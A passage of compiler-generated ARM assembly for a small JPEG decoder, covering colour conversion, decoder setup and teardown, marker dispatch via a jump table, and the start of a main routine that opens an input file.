rsb_imm al r1 r9 0
ldrb_reg_add al r1 fp r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 2
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 20
strb_imm_add al r1 0 r0
ldrb_imm_add al r0 fp 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 139
mul al r0 r0 r1
rsb_imm al r1 r8 0
ldrb_reg_add al r1 fp r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 10
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 20
strb_reg_add al r1 r7 lsl 0 r0
.bbl for_3_next 4
ldr_imm_add al r0 sp 28
add_imm al r0 r0 1
str_imm_add al sp 28 r0
.bbl for_3_cond 4
ldr_imm_add al r0 sp 28
cmp_regimm al r0 r7 lsl 0
b lt expr:jump24:for_3
.bbl for_3_exit 4
ldr_imm_add al r0 sl 16
mov_regimm al r0 r0 lsl 1
str_imm_add al sl 16 r0
ldr_imm_add al r0 sl 12
str_imm_add al sl 20 r0
ldr_imm_add al r0 sl 40
bl al expr:call:free
str_imm_add al sl 40 r6
add_imm al sp sp 36
ldmia_update al reglist:0x8fc0 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:20
.fun njConvert 16
stmdb_update al sp reglist:0x4fc0
sub_imm al sp sp 20
.bbl %start 4
mov_imm al r8 0
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_regimm al r7 r0 lsl 0
b al expr:jump24:for_5_cond
.bbl while_3 4
ldr_imm_add al r0 r7 12
movw al r1 expr:movw_abs_nc:nj:16
movt al r1 expr:movt_abs:nj:16
ldr_imm_add al r1 r1 0
cmp_regimm al r1 r0 lsl 0
b le expr:jump24:while_1
.bbl if_9_true 4
mov_regimm al r0 r7 lsl 0
bl al expr:call:njUpsampleH
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_1_cond
.bbl if_10_true 4
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_1_cond 4
.bbl while_1_exit 4
ldr_imm_add al r0 r7 16
movw al r1 expr:movw_abs_nc:nj:20
movt al r1 expr:movt_abs:nj:20
ldr_imm_add al r1 r1 0
cmp_regimm al r1 r0 lsl 0
b le expr:jump24:while_2
.bbl if_12_true 4
mov_regimm al r0 r7 lsl 0
bl al expr:call:njUpsampleV
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_2_cond
.bbl if_13_true 4
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_2_cond 4
.bbl while_3_cond 4
ldr_imm_add al r0 r7 12
movw al r1 expr:movw_abs_nc:nj:16
movt al r1 expr:movt_abs:nj:16
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b lt expr:jump24:while_3
.bbl branch_24 4
ldr_imm_add al r0 r7 16
movw al r1 expr:movw_abs_nc:nj:20
movt al r1 expr:movt_abs:nj:20
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b lt expr:jump24:while_3
.bbl while_3_exit 4
ldr_imm_add al r0 r7 12
movw al r1 expr:movw_abs_nc:nj:16
movt al r1 expr:movt_abs:nj:16
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b lt expr:jump24:while_4
.bbl branch_25 4
ldr_imm_add al r0 r7 16
movw al r1 expr:movw_abs_nc:nj:20
movt al r1 expr:movt_abs:nj:20
ldr_imm_add al r1 r1 0
cmp_regimm al r1 r0 lsl 0
b le expr:jump24:for_5_next
.bbl while_4 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 4
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_4_cond 4
.bbl for_5_next 4
add_imm al r0 r8 1
mov_regimm al r8 r0 lsl 0
add_imm al r0 r7 44
mov_regimm al r7 r0 lsl 0
.bbl for_5_cond 4
mov_regimm al r0 r8 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b cc expr:jump24:while_3_cond
.bbl for_5_exit 4
movw al r0 expr:movw_abs_nc:nj:40
movt al r0 expr:movt_abs:nj:40
ldr_imm_add al r0 r0 0
cmp_imm al r0 3
b ne expr:jump24:if_23_false
.bbl if_23_true 4
movw al r0 expr:movw_abs_nc:nj:524996
movt al r0 expr:movt_abs:nj:524996
ldr_imm_add al r0 r0 0
str_imm_add al sp 4 r0
movw al r0 expr:movw_abs_nc:nj:84
movt al r0 expr:movt_abs:nj:84
ldr_imm_add al r0 r0 0
str_imm_add al sp 8 r0
movw al r0 expr:movw_abs_nc:nj:128
movt al r0 expr:movt_abs:nj:128
ldr_imm_add al r0 r0 0
mov_regimm al r9 r0 lsl 0
movw al r0 expr:movw_abs_nc:nj:172
movt al r0 expr:movt_abs:nj:172
ldr_imm_add al r0 r0 0
mov_regimm al sl r0 lsl 0
movw al r0 expr:movw_abs_nc:nj:20
movt al r0 expr:movt_abs:nj:20
ldr_imm_add al r0 r0 0
str_imm_add al sp 16 r0
b al expr:jump24:for_7_cond
.bbl for_7 4
mov_imm al r0 0
str_imm_add al sp 12 r0
b al expr:jump24:for_6_cond
.bbl for_6 4
ldr_imm_add al r0 sp 12
ldr_imm_add al r1 sp 8
ldrb_reg_add al r0 r1 r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_regimm al r6 r0 lsl 8
ldr_imm_add al r0 sp 12
ldrb_reg_add al r0 r9 r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
sub_imm al r7 r0 128
ldr_imm_add al r0 sp 12
ldrb_reg_add al r0 sl r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
sub_imm al r8 r0 128
movw al r0 359
mul al r0 r8 r0
add_regimm al r0 r6 r0 lsl 0
add_imm al r0 r0 128
mov_regimm al r0 r0 asr 8
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 4
strb_imm_add al r1 0 r0
mov_imm al r0 88
mul al r0 r7 r0
sub_regimm al r0 r6 r0 lsl 0
mov_imm al r1 183
mul al r1 r8 r1
sub_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 128
mov_regimm al r0 r0 asr 8
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 4
strb_imm_add al r1 1 r0
movw al r0 454
mul al r0 r7 r0
add_regimm al r0 r6 r0 lsl 0
add_imm al r0 r0 128
mov_regimm al r0 r0 asr 8
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 4
strb_imm_add al r1 2 r0
ldr_imm_add al r0 sp 4
add_imm al r0 r0 3
str_imm_add al sp 4 r0
.bbl for_6_next 4
ldr_imm_add al r0 sp 12
add_imm al r0 r0 1
str_imm_add al sp 12 r0
.bbl for_6_cond 4
movw al r0 expr:movw_abs_nc:nj:16
movt al r0 expr:movt_abs:nj:16
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 sp 12
cmp_regimm al r1 r0 lsl 0
b lt expr:jump24:for_6
.bbl for_6_exit 4
movw al r0 expr:movw_abs_nc:nj:64
movt al r0 expr:movt_abs:nj:64
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 sp 8
add_regimm al r0 r1 r0 lsl 0
str_imm_add al sp 8 r0
movw al r0 expr:movw_abs_nc:nj:108
movt al r0 expr:movt_abs:nj:108
ldr_imm_add al r0 r0 0
add_regimm al r0 r9 r0 lsl 0
mov_regimm al r9 r0 lsl 0
movw al r0 expr:movw_abs_nc:nj:152
movt al r0 expr:movt_abs:nj:152
ldr_imm_add al r0 r0 0
add_regimm al r0 sl r0 lsl 0
mov_regimm al sl r0 lsl 0
.bbl for_7_next 4
ldr_imm_add al r0 sp 16
sub_imm al r0 r0 1
str_imm_add al sp 16 r0
.bbl for_7_cond 4
ldr_imm_add al r0 sp 16
cmp_imm al r0 0
b ne expr:jump24:for_7
.bbl for_7_condbra1 4
b al expr:jump24:if_23_end
.bbl if_23_false 4
movw al r0 expr:movw_abs_nc:nj:56
movt al r0 expr:movt_abs:nj:56
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:64
movt al r1 expr:movt_abs:nj:64
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b eq expr:jump24:if_23_end
.bbl if_22_true 4
movw al r0 expr:movw_abs_nc:nj:84
movt al r0 expr:movt_abs:nj:84
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:64
movt al r1 expr:movt_abs:nj:64
ldr_imm_add al r1 r1 0
add_regimm al r0 r0 r1 lsl 0
mov_regimm al fp r0 lsl 0
movw al r0 expr:movw_abs_nc:nj:84
movt al r0 expr:movt_abs:nj:84
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:56
movt al r1 expr:movt_abs:nj:56
ldr_imm_add al r1 r1 0
add_regimm al r0 r0 r1 lsl 0
str_imm_add al sp 0 r0
movw al r0 expr:movw_abs_nc:nj:60
movt al r0 expr:movt_abs:nj:60
ldr_imm_add al r0 r0 0
sub_imm al r0 r0 1
mov_regimm al r6 r0 lsl 0
b al expr:jump24:for_8_cond
.bbl for_8 4
movw al r0 expr:movw_abs_nc:nj:56
movt al r0 expr:movt_abs:nj:56
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_regimm al r2 r0 lsl 0
mov_regimm al r1 fp lsl 0
ldr_imm_add al r0 sp 0
bl al expr:call:mymemcpy
movw al r0 expr:movw_abs_nc:nj:64
movt al r0 expr:movt_abs:nj:64
ldr_imm_add al r0 r0 0
add_regimm al r0 fp r0 lsl 0
mov_regimm al fp r0 lsl 0
movw al r0 expr:movw_abs_nc:nj:56
movt al r0 expr:movt_abs:nj:56
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 sp 0
add_regimm al r0 r1 r0 lsl 0
str_imm_add al sp 0 r0
.bbl for_8_next 4
sub_imm al r0 r6 1
mov_regimm al r6 r0 lsl 0
.bbl for_8_cond 4
cmp_imm al r6 0
b ne expr:jump24:for_8
.bbl for_8_exit 4
movw al r0 expr:movw_abs_nc:nj:56
movt al r0 expr:movt_abs:nj:56
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:64
movt al r1 expr:movt_abs:nj:64
str_imm_add al r1 0 r0
.bbl if_23_end 4
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun njInit 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
movw al r2 712
movt al r2 8
mov_imm al r1 0
bl al expr:call:mymemset
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun njDone 16
stmdb_update al sp reglist:0x4040
sub_imm al sp sp 8
.bbl %start 4
mov_imm al r6 0
b al expr:jump24:for_1_cond
.bbl for_1 4
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_imm al r1 44
mul al r1 r6 r1
add_regimm al r0 r0 r1 lsl 0
ldr_imm_add al r0 r0 40
cmp_imm al r0 0
b eq expr:jump24:for_1_next
.bbl if_2_true 4
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_imm al r1 44
mul al r1 r6 r1
add_regimm al r0 r0 r1 lsl 0
ldr_imm_add al r0 r0 40
bl al expr:call:free
.bbl for_1_next 4
add_imm al r0 r6 1
mov_regimm al r6 r0 lsl 0
.bbl for_1_cond 4
cmp_imm al r6 3
b lt expr:jump24:for_1
.bbl for_1_exit 4
movw al r0 expr:movw_abs_nc:nj:524996
movt al r0 expr:movt_abs:nj:524996
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:if_4_end
.bbl if_4_true 4
movw al r0 expr:movw_abs_nc:nj:524996
movt al r0 expr:movt_abs:nj:524996
ldr_imm_add al r0 r0 0
bl al expr:call:free
.bbl if_4_end 4
bl al expr:call:njInit
add_imm al sp sp 8
ldmia_update al reglist:0x8040 sp
.endfun
# sig: IN: [A32 S32] -> OUT: [S32] stk_size:0
.fun njDecode 16
.localmem switch_1727_tab 4 rodata
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_192
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_196
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_218
.addr.bbl 4 switch_1727_219
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_221
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_default
.addr.bbl 4 switch_1727_254
.endmem
stmdb_update al sp reglist:0x40c0
sub_imm al sp sp 4
.bbl %start 4
mov_regimm al r6 r0 lsl 0
mov_regimm al r7 r1 lsl 0
bl al expr:call:njDone
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
str_imm_add al r0 0 r6
bic_imm al r0 r7 -2147483648
movw al r1 expr:movw_abs_nc:nj:8
movt al r1 expr:movt_abs:nj:8
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
ldr_imm_add al r0 r0 0
cmp_imm al r0 2
b ge expr:jump24:if_2_end
.bbl if_2_true 4
mov_imm al r0 1
add_imm al sp sp 4
ldmia_update al reglist:0x80c0 sp
.bbl if_2_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
eor_imm al r0 r0 255
movw al r1 expr:movw_abs_nc:nj:4
movt al r1 expr:movt_abs:nj:4
ldr_imm_add al r1 r1 0
ldrb_imm_add al r1 r1 1
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
eor_imm al r1 r1 216
orr_regimm al r0 r0 r1 lsl 0
cmp_imm al r0 0
b eq expr:jump24:if_3_end
.bbl if_3_true 4
mov_imm al r0 1
add_imm al sp sp 4
ldmia_update al reglist:0x80c0 sp
.bbl if_3_end 4
mov_imm al r0 2
bl al expr:call:__static_2_njSkip
b al expr:jump24:while_1_cond
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
ldr_imm_add al r0 r0 0
cmp_imm al r0 2
b lt expr:jump24:if_4_true
.bbl branch_8 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 255
b eq expr:jump24:if_4_end
.bbl if_4_true 4
mov_imm al r0 5
add_imm al sp sp 4
ldmia_update al reglist:0x80c0 sp
.bbl if_4_end 4
mov_imm al r0 2
bl al expr:call:__static_2_njSkip
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_sub al r0 r0 1
uxtb al r3 r0 0
cmp_imm al r3 254
b hi expr:jump24:switch_1727_default
.bbl if_4_end_1 4
movw al r0 expr:loc_movw_abs_nc:switch_1727_tab
movt al r0 expr:loc_movt_abs:switch_1727_tab
ldr_reg_add al pc r0 r3 lsl 2
.bbl switch_1727_192 4
bl al expr:call:njDecodeSOF
b al expr:jump24:while_1_cond
.bbl switch_1727_196 4
bl al expr:call:njDecodeDHT
b al expr:jump24:while_1_cond
.bbl switch_1727_219 4
bl al expr:call:njDecodeDQT
b al expr:jump24:while_1_cond
.bbl switch_1727_221 4
bl al expr:call:njDecodeDRI
b al expr:jump24:while_1_cond
.bbl switch_1727_218 4
bl al expr:call:njDecodeScan
b al expr:jump24:while_1_cond
.bbl switch_1727_254 4
bl al expr:call:njSkipMarker
b al expr:jump24:while_1_cond
.bbl switch_1727_default 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_sub al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
and_imm al r0 r0 240
cmp_imm al r0 224
b ne expr:jump24:if_5_false
.bbl if_5_true 4
bl al expr:call:njSkipMarker
b al expr:jump24:while_1_cond
.bbl if_5_false 4
mov_imm al r0 2
add_imm al sp sp 4
ldmia_update al reglist:0x80c0 sp
.bbl while_1_cond 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_1
.bbl while_1_exit 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 6
b eq expr:jump24:if_7_end
.bbl if_7_true 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
add_imm al sp sp 4
ldmia_update al reglist:0x80c0 sp
.bbl if_7_end 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 0
str_imm_add al r0 0 r1
bl al expr:call:njConvert
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
add_imm al sp sp 4
ldmia_update al reglist:0x80c0 sp
.endfun
# sig: IN: [A32 S32] -> OUT: [] stk_size:0
.fun write_str 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl %start 4
mov_regimm al r4 r0 lsl 0
mov_regimm al r3 r1 lsl 0
mov_imm al r5 0
b al expr:jump24:for_1_cond
.bbl for_1_next 4
add_imm al r0 r5 1
mov_regimm al r5 r0 lsl 0
.bbl for_1_cond 4
ldrsb_reg_add al r0 r4 r5
sxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 0
b ne expr:jump24:for_1_next
.bbl for_1_exit 4
mov_regimm al r2 r5 lsl 0
mov_regimm al r1 r4 lsl 0
mov_regimm al r0 r3 lsl 0
bl al expr:call:write
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [S32 S32] -> OUT: [] stk_size:64
.fun write_dec 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 76
.bbl %start 4
mov_regimm al ip r0 lsl 0
mov_regimm al r5 r1 lsl 0
mov_imm al r0 0
strb_imm_add al sp 63 r0
mov_imm al r0 62
mov_regimm al lr r0 lsl 0
.bbl while_1 4
mov_imm al r0 10
sdiv al r0 r5 r0
mov_imm al r1 10
mul al r0 r0 r1
sub_regimm al r0 r5 r0 lsl 0
add_imm al r0 r0 48
mov_regimm al r0 r0 lsl 0
mov_regimm al r0 r0 lsl 0
add_imm al r1 sp 0
strb_reg_add al r1 lr lsl 0 r0
sub_imm al r3 lr 1
mov_regimm al lr r3 lsl 0
mov_imm al r0 10
sdiv al r4 r5 r0
mov_regimm al r5 r4 lsl 0
.bbl while_1_cond 4
cmp_imm al r4 0
b ne expr:jump24:while_1
.bbl while_1_exit 4
add_imm al r0 r3 1
add_imm al r1 sp 0
add_regimm al r0 r1 r0 lsl 0
mov_regimm al r1 ip lsl 0
bl al expr:call:write_str
add_imm al sp sp 76
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [S32 A32] -> OUT: [S32] stk_size:0
.fun main 16
stmdb_update al sp reglist:0x43c0
sub_imm al sp sp 12
.bbl %start 4
mov_regimm al r9 r1 lsl 0
cmp_imm al r0 3
b ge expr:jump24:if_1_end
.bbl if_1_true 4
movw al r0 expr:movw_abs_nc:string_const_1
movt al r0 expr:movt_abs:string_const_1
bl al expr:call:puts
mov_imm al r0 2
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl if_1_end 4
ldr_imm_add al r0 r9 4
mov_imm al r2 0
mov_imm al r1 0
bl al expr:call:open
mov_regimm al r7 r0 lsl 0
cmp_imm al r7 0
b ge expr:jump24:if_2_end
.bbl if_2_true 4
movw al r0 expr:movw_abs_nc:string_const_2
movt al r0 expr:movt_abs:string_const_2
bl al expr:call:puts
mov_imm al r0 1
add_imm al sp sp 12
